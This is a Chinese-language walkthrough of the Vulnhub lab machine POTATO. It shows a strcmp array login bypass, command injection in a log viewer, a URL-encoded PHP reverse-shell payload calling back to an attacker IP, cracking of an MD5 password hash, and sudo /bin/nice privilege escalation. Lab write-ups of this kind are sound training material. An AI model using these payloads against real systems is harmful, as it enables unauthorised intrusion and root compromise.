Vulnhub靶机实战-POTATO-WP

声明

好好学习,天天向上

搭建

virtualbox打开,网络和攻击机一样,要么都用桥接要么都用NAT

渗透

存活扫描,发现目标

arp-scan -l

端口扫描

nmap -T4 -A 192.168.31.66 -p 1-65535 -oN nmap.A

在这里插入图片描述

开启端口

发现开启80,22,2122

访问80

http://192.168.31.66

扫描目录

python3 dirsearch.py -u 192.168.31.66

在这里插入图片描述

挨个试一试,发现

/admin需要密码

/admin/logs下有一些日志

/index.php/login下啥都木有

访问ftp端口

ftp://192.168.31.66:2112/

发现文件

在这里插入图片描述

查看index源码备份文件

来一波源码审计

是要和用户名密码做比较,用户名字段和admin比较,密码和pass变量也就是potato比较,不一样就认证失败

<html>
<head></head>
<body>

<?php

$pass= "potato"; //note Change this password regularly

if($_GET['login']==="1"){
  if (strcmp($_POST['username'], "admin") == 0  && strcmp($_POST['password'], $pass) == 0) {
    echo "Welcome! </br> Go to the <a href=\"dashboard.php\">dashboard</a>";
    setcookie('pass', $pass, time() + 365*24*3600);
  }else{
    echo "<p>Bad login/password! </br> Return to the <a href=\"index.php\">login page</a> <p>";
  }
  exit();
}
?>


  <form action="index.php?login=1" method="POST">
                <h1>Login</h1>
                <label><b>User:</b></label>
                <input type="text" name="username" required>
                </br>
                <label><b>Password:</b></label>
                <input type="password" name="password" required>
                </br>
                <input type="submit" id='submit' value='Login' >
  </form>
</body>
</html>

然而我竟然登不进去,当我使用网上大神post的password[]=&username=admin后,再加上x-forwarded-for后,可以了,不过我是真想知道从这段代码里面是怎么看出来,提交一个password数组的

POST /admin/index.php?login=1 HTTP/1.1
Host: 192.168.31.66
x-forwarded-for: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.31.66/admin/index.php
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

password[]=&username=admin

在这里插入图片描述

成功

在这里插入图片描述

在log处发现命令注入

http://192.168.31.66/admin/dashboard.php?page=log
file=log_01.txt;id

在这里插入图片描述

kali监听6666

nc -lvvp 6666

访问,自行修改IP和端口

http://192.168.31.66/admin/dashboard.php?page=log
file=|php%20-r%20'%24sock%3Dfsockopen(%22192.168.31.64%22%2C6666)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B'

在这里插入图片描述

反弹成功

在这里插入图片描述

在 /etc/passwd 获取到用户 we­bad­min 的密码

$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/

进入在线解密网站,解密后密码是dragon

https://www.somd5.com/

在这里插入图片描述

su到webadmin用户

在这里插入图片描述

sudo -l提权

ssh先连到webadmin用户

ssh webadmin@192.168.31.66
sudo -l

在这里插入图片描述

可以看到以 root 权限执行,大概意思就是可以通过sudo提到root,然后使用/bin/nice执行id命令

ls -al /notes
sudo -u root /bin/nice /notes/id.sh

构造上述结构进行提权,创建shell.sh内容如下

/bin/bash

执行命令

chmod 777 shell.sh
sudo -u root /bin/nice /notes/../home/webadmin//shell.sh

这样我们就以root身份执行了shell.sh里面的内容,而里面的内容是让我们进入/bin/bash也就是root的命令行

在这里插入图片描述

总结

1.信息收集

发现端口22,80,2112

2112ftp发现了index备份文件,代码审计,发现可提交参数

80扫描目录发现可登录页面

2.web权限

通过发送执行参数,成功登录web

3.shell权限

通过命令执行,反弹shell

4.权限维持

在/etc/passwd下发现webadmin用户密码,md5在线解密后,成功ssh登录,拿到flag

5.提权

sudo-l发现可以通过执行指定文件进行提权,拿到flag

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值